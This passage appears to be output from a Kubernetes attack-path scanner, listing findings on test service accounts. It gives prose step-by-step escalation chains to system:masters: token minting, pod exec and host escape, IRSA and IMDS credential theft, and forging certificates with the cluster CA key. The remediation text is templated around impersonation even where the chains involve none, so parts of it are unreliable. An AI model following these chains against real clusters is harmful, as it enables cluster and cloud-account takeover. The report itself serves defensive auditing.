  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/cloud-eks-test/eks-token-minter Cluster 8.7
ServiceAccount/cloud-eks-test/eks-token-minter can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cloud-eks-test/eks-token-minter → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-token-minter

Subject ServiceAccount/cloud-eks-test/eks-token-minter can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
3. User/arn:aws:iam::123456789012:role/AdministratorAccess → / via aws_auth_admin (system:masters via aws-auth): external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cloud-eks-test/eks-token-minter.
  2. Acting as ServiceAccount/cloud-eks-test/eks-token-minter, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cloud-eks-test/eks-admin-irsa. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Acting as User/arn:aws:iam::123456789012:role/AdministratorAccess, the attacker uses the aws_auth_admin technique via system:masters via aws-auth, which gains external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
  3. Step 3 of 3 AWS IAM principal granted cluster-admin via aws-auth aws_auth_admin

    EKS authenticates AWS IAM principals into Kubernetes via the kube-system/aws-auth ConfigMap. Each entry under mapRoles / mapUsers ties an IAM role or user ARN to a Kubernetes username and a list of groups. If that group list contains system:masters, the IAM principal is hard-coded as cluster-admin by the apiserver. If it contains any group bound to cluster-admin via a ClusterRoleBinding, the effect is the same: the IAM principal can do anything in the cluster.

    This grant is invisible to kubectl get clusterrolebindings: the mapping lives in a ConfigMap and the resulting identity is synthesized at request-time by the EKS aws-iam-authenticator.

    From User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted system:masters via aws-auth
    Gives the attacker external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/foothold-ops/foothold-execer Cluster 8.4
ServiceAccount/foothold-ops/foothold-execer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/foothold-ops/foothold-execer → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-execer

Subject ServiceAccount/foothold-ops/foothold-execer can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
2. ServiceAccount/foothold-fixtures/foothold-priv → / via pod_host_escape (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
3. ServiceAccount/foothold-fixtures/foothold-priv → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-ops/foothold-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-fixtures/foothold-priv and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  4. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
  2. Step 2 of 3 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/csr-fixtures/sa-csr-sign Cluster 8.7
ServiceAccount/csr-fixtures/sa-csr-sign can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-sign → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-sign

Subject ServiceAccount/csr-fixtures/sa-csr-sign can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (1 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/csr-fixtures/sa-csr-sign → / via csr_sign (sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status): is an authorized signer for apiserver client certificates and can issue one for any identity without an approval step

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/csr-fixtures/sa-csr-sign.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-sign, the attacker skips approval entirely: it holds sign on the kubernetes.io/kube-apiserver-client signer plus the certificatesigningrequests/status write (sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status), which is the authorization Kubernetes defines for *being* the signer. It issues a client certificate for any identity it names and writes the result onto the CSR status itself. The one thing beyond the grant is the signing CA key — the identity this grant designates holds it by definition, which is why the hop is rated hard rather than assumed.
  3. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Signer control: issuing certs without approval csr_sign

    The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

    For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

    One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status
    Gives the attacker is an authorized signer for apiserver client certificates and can issue one for any identity without an approval step
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-sign → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-sign → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/cert-manager/cert-manager Cluster 8.3
ServiceAccount/cert-manager/cert-manager can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cert-manager/cert-manager → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager

Subject ServiceAccount/cert-manager/cert-manager can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cert-manager/cert-manager → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/cert-manager/cert-manager → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cert-manager/cert-manager.
  2. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/cloud-eks-test/default Cluster 8.3
ServiceAccount/cloud-eks-test/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cloud-eks-test/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default

Subject ServiceAccount/cloud-eks-test/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cloud-eks-test/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
2. ServiceAccount/cloud-eks-test/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cloud-eks-test/default.
  2. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cloud-eks-test/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/containersec-fixtures/default Cluster 8.3
ServiceAccount/containersec-fixtures/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/containersec-fixtures/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default

Subject ServiceAccount/containersec-fixtures/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/containersec-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
2. ServiceAccount/containersec-fixtures/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/containersec-fixtures/default.
  2. Acting as ServiceAccount/containersec-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/containersec-fixtures/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/containersec-fixtures/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
